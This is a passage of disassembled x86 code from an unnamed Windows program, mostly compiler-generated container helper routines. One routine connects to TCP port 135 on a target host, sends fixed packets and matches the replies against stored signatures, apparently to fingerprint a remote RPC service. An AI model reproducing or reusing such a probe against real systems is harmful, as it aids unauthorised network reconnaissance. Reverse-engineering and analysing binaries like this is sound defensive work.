58h push offset dword_444420 mov ecx, esi call sub_13AB9D7 lea edx, [esp+128h+var_104] mov ecx, esi push edx call sub_13ABABD lea ecx, [esp+12Ch+var_108] mov byte ptr [esp+12Ch+var_A0], bl call sub_13AB626 lea ecx, [esp+12Ch+var_120] mov [esp+12Ch+var_A0], 0FFFFFFFFh call sub_13AB626 mov al, 1 loc_13CB829: ; CODE XREF: sub_13CB220+2Aj ; sub_13CB220+BAj ... mov ecx, [esp+12Ch+var_A8] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_13CB220 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CB9E0 proc near ; CODE XREF: sub_13ABEEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_13CBA0B loc_13CB9F4: ; CODE XREF: sub_13CB9E0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_13CBA12 inc eax cmp eax, edx jl short loc_13CB9F4 loc_13CBA0B: ; CODE XREF: sub_13CB9E0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_13CBA12: ; CODE XREF: sub_13CB9E0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_13CB9E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBA30 proc near ; CODE XREF: sub_13AC49Aj var_4C = byte ptr -4Ch var_4A = byte ptr -4Ah var_3C = byte ptr -3Ch var_2A = byte ptr -2Ah var_1C = byte ptr -1Ch var_10 = byte ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_2000 = dword ptr 2004h arg_2010 = dword ptr 2014h arg_2014 = dword ptr 2018h mov eax, 2010h call near ptr 13E0C60h mov eax, [esp+arg_2014] push ebp push esi dec eax push edi jz short loc_13CBA7D dec eax jz short loc_13CBA57 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_13CBA57: ; CODE XREF: sub_13CBA30+18j mov eax, [esp+0Ch+arg_2010] push 1388h push eax call sub_13AC404 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_13CBA7D: ; CODE XREF: sub_13CBA30+15j push 6 push 1 push 2 call socket ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_13CBBD9 cmp esi, 0FFFFFFFFh jz loc_13CBBD9 xor ecx, ecx push 87h mov [esp+1Ch+var_C], ecx mov word ptr [esp+1Ch+var_C], 2 mov [esp+1Ch+var_8], ecx mov [esp+1Ch+var_4], ecx mov [esp+1Ch], ecx call htons ; htons mov edx, [esp+1Ch+arg_2000] mov [esp+1Ch+var_E], ax push edx call sub_13ABC7F add esp, 4 mov [esp+1Ch+var_C], eax lea eax, [esp+1Ch+var_10] push 10h push eax push esi call connect ; connect cmp eax, 0FFFFFFFFh jz loc_13CBBD2 mov ebp, send push 0 push 48h push offset dword_443DE8 push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_13CBBD2 mov edi, recv push 0 lea ecx, [esp+3Ch+var_1C] push 2000h push ecx push esi call edi ; recv cmp eax, 0FFFFFFFFh jz loc_13CBBD2 cmp [esp+48h+var_2A], 0Ch jnz loc_13CBBD2 push 0 push 18h push offset dword_443E5C push esi call ebp ; send cmp eax, 0FFFFFFFFh jz loc_13CBBD2 push 0 lea edx, [esp+5Ch+var_3C] push 2000h push edx push esi call edi ; recv mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_13CBBD2 cmp [esp+68h+var_4A], 2 jnz short loc_13CBBD2 push 10h push offset dword_443E34 lea eax, [esp+70h+var_4C] push edi push eax call sub_13ABEEB add esp, 10h test al, al jz short loc_13CBBA1 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call closesocket ; closesocket mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_13CBBA1: ; CODE XREF: sub_13CBA30+14Ej push 10h push offset dword_443E48 lea edx, [esp+70h+var_4C] push edi push edx call sub_13ABEEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call closesocket ; closesocket mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_13CBBD2: ; CODE XREF: sub_13CBA30+BBj ; sub_13CBA30+D6j ... push esi call closesocket ; closesocket loc_13CBBD9: ; CODE XREF: sub_13CBA30+5Ej ; sub_13CBA30+67j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn sub_13CBA30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBC60 proc near ; CODE XREF: sub_13ABE00j xor al, al retn sub_13CBC60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBC80 proc near ; CODE XREF: sub_13AB60Dj var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AB711 mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13AB4E6 pop esi pop ecx retn 4 sub_13CBC80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBCC0 proc near ; CODE XREF: sub_13ABCD9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13ABD01 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13CBCC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBD00 proc near ; CODE XREF: sub_13ABC16j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13ABD6F mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AB8D8 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13ABD97 mov edx, [esi+4] mov ecx, esi push edx call sub_13ABD47 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13CBD00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBD70 proc near ; CODE XREF: sub_13AB8D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AC44F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC2BF mov eax, esi pop esi retn 4 sub_13CBD70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBDB0 proc near ; CODE XREF: sub_13ABD6Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC2BF mov eax, esi pop esi retn 4 sub_13CBDB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBDE0 proc near ; CODE XREF: sub_13AC567j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13ABD6F mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13ABCFC pop esi pop ecx retn 4 sub_13CBDE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBE20 proc near ; CODE XREF: sub_13ABB03j push esi mov esi, ecx call sub_13ABDEC mov eax, esi pop esi retn sub_13CBE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBE40 proc near ; CODE XREF: sub_13AB62Bj mov eax, [ecx] push eax call sub_13AB4F5 add esp, 4 retn sub_13CBE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBE60 proc near ; CODE XREF: sub_13AB47Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_13AC44F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13CBE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBE90 proc near ; CODE XREF: sub_13ABC02j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC3FF neg al sbb eax, eax inc eax retn 4 sub_13CBE90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBEC0 proc near ; CODE XREF: sub_13ABAE0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AB612 mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13CBEC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBF00 proc near ; CODE XREF: sub_13AB653j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AB7ED mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AB85B mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB40F mov edx, [esi+4] mov ecx, esi push edx call sub_13AC5B7 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13CBF00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBF70 proc near ; CODE XREF: sub_13AB85Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AB50E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC175 mov eax, esi pop esi retn 4 sub_13CBF70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBFB0 proc near ; CODE XREF: sub_13AB7EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC175 mov eax, esi pop esi retn 4 sub_13CBFB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CBFE0 proc near ; CODE XREF: sub_13AB725j var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AB7ED mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13ABFAE pop esi pop ecx retn 4 sub_13CBFE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC020 proc near ; CODE XREF: sub_13ABF40j push esi mov esi, ecx call sub_13AB5A9 mov eax, esi pop esi retn sub_13CC020 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC040 proc near ; CODE XREF: sub_13AB455j mov eax, [ecx] push eax call sub_13AB48C add esp, 4 retn sub_13CC040 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC060 proc near ; CODE XREF: sub_13ABC2Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_13AB50E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13CC060 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC090 proc near ; CODE XREF: sub_13AB6BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC148 neg al sbb eax, eax inc eax retn 4 sub_13CC090 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC0C0 proc near ; CODE XREF: sub_13AB4E6j var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AC2CE mov edi, eax push edi call sub_13ABF1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AB79D push edi mov ebx, eax call sub_13ABF1D push edi mov [eax], ebx call sub_13ABF1D mov edi, [eax] push edi call sub_13ABF1D mov ecx, [eax] push ecx call sub_13AB9D2 mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AB572 add esp, 4 mov ecx, esi push eax call sub_13AC23D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC184 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13CC0C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC160 proc near ; CODE XREF: sub_13ABCFCj var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AB4C8 mov edi, eax push edi call sub_13AC0F3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13ABD01 push edi mov ebx, eax call sub_13AC0F3 push edi mov [eax], ebx call sub_13AC0F3 mov edi, [eax] push edi call sub_13AC0F3 mov ecx, [eax] push ecx call sub_13AC44F mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AB4F5 add esp, 4 mov ecx, esi push eax call sub_13ABBE9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC2BF mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13CC160 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC200 proc near ; CODE XREF: sub_13ABD97j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13ABC02 test al, al jz short loc_13CC25A loc_13CC218: ; CODE XREF: sub_13CC200+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AC4B8 mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13ABE1E lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13ABC02 test al, al jnz short loc_13CC218 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13CC25A: ; CODE XREF: sub_13CC200+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13CC200 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC290 proc near ; CODE XREF: sub_13ABD01j arg_0 = dword ptr 4 push esi push edi push 24h call sub_13AC1F2 mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13CC2A5 mov edi, esi loc_13CC2A5: ; CODE XREF: sub_13CC290+11j push esi call sub_13AC44F mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13CC2BA mov edi, esi loc_13CC2BA: ; CODE XREF: sub_13CC290+26j push esi call sub_13AC0F3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13CC290 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC2E0 proc near ; CODE XREF: sub_13ABD47j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AB946 retn 4 sub_13CC2E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC300 proc near ; CODE XREF: sub_13AC44Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13CC300 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC320 proc near ; CODE XREF: sub_13AB4F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13CC320 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC340 proc near ; CODE XREF: sub_13ABDECj mov eax, ecx retn sub_13CC340 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC360 proc near ; CODE XREF: sub_13AC2BFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AB919 mov eax, esi pop esi retn 4 sub_13CC360 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC390 proc near ; CODE XREF: sub_13AC3FFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13CC390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC3C0 proc near ; CODE XREF: sub_13ABFAEj var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13ABCE8 mov edi, eax push edi call sub_13AB4EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AB612 push edi mov ebx, eax call sub_13AB4EB push edi mov [eax], ebx call sub_13AB4EB mov edi, [eax] push edi call sub_13AB4EB mov ecx, [eax] push ecx call sub_13AB50E mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AB48C add esp, 4 mov ecx, esi push eax call sub_13AB7DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC175 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13CC3C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC460 proc near ; CODE XREF: sub_13AB40Fj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13AB6BC test al, al jz short loc_13CC4BA loc_13CC478: ; CODE XREF: sub_13CC460+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13ABDAB mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13ABF7C lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13AB6BC test al, al jnz short loc_13CC478 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13CC4BA: ; CODE XREF: sub_13CC460+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13CC460 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC4F0 proc near ; CODE XREF: sub_13AB612j arg_0 = dword ptr 4 push esi push edi push 20h call sub_13AC4BD mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13CC505 mov edi, esi loc_13CC505: ; CODE XREF: sub_13CC4F0+11j push esi call sub_13AB50E mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13CC51A mov edi, esi loc_13CC51A: ; CODE XREF: sub_13CC4F0+26j push esi call sub_13AB4EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13CC4F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC540 proc near ; CODE XREF: sub_13AC5B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13ABCE3 retn 4 sub_13CC540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC560 proc near ; CODE XREF: sub_13AB50Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13CC560 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC580 proc near ; CODE XREF: sub_13AB48Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13CC580 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC5A0 proc near ; CODE XREF: sub_13AB5A9j mov eax, ecx retn sub_13CC5A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC5C0 proc near ; CODE XREF: sub_13AC175j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13ABCED mov eax, esi pop esi retn 4 sub_13CC5C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC5F0 proc near ; CODE XREF: sub_13AC148j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13CC5F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC620 proc near ; CODE XREF: sub_13AC23Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13ABE2D add esp, 8 retn 8 sub_13CC620 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC650 proc near ; CODE XREF: sub_13ABE1Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AC4B8 mov ecx, eax call sub_13AB4C8 mov esi, eax push esi call sub_13AC44F push esi mov ebx, eax call sub_13AC0F3 mov ecx, [eax] push ecx call sub_13AC44F mov edx, [ebx] push esi mov [eax], edx call sub_13AC0F3 push esi mov ebx, eax call sub_13AC44F mov eax, [eax] push eax call sub_13AC0F3 mov ecx, [ebx] push esi mov [eax], ecx call sub_13AB4F5 add esp, 1Ch mov ecx, edi push eax call sub_13ABA31 push esi mov ecx, edi call sub_13ABD47 mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13CC650 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC710 proc near ; CODE XREF: sub_13AC0F3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13CC710 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC730 proc near ; CODE XREF: sub_13AC1F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13CC730 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC760 proc near ; CODE XREF: sub_13AB946j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13CC760 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC780 proc near ; CODE XREF: sub_13ABBE9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AC41D add esp, 8 retn 8 sub_13CC780 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC7B0 proc near ; CODE XREF: sub_13AB919j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13CC7B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC7D0 proc near ; CODE XREF: sub_13AB4C8j mov eax, [ecx] retn sub_13CC7D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC7F0 proc near ; CODE XREF: sub_13AC4B8j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AB47D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13CC7F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC820 proc near ; CODE XREF: sub_13ABF7Cj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13ABDAB mov ecx, eax call sub_13ABCE8 mov esi, eax push esi call sub_13AB50E push esi mov ebx, eax call sub_13AB4EB mov ecx, [eax] push ecx call sub_13AB50E mov edx, [ebx] push esi mov [eax], edx call sub_13AB4EB push esi mov ebx, eax call sub_13AB50E mov eax, [eax] push eax call sub_13AB4EB mov ecx, [ebx] push esi mov [eax], ecx call sub_13AB48C add esp, 1Ch mov ecx, edi push eax call sub_13AC260 push esi mov ecx, edi call sub_13AC5B7 mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13CC820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC8E0 proc near ; CODE XREF: sub_13AB4EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13CC8E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC900 proc near ; CODE XREF: sub_13AC4BDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13CC900 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC930 proc near ; CODE XREF: sub_13ABCE3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13CC930 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CC950 proc near ; CODE XREF: sub_13AB7DEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, 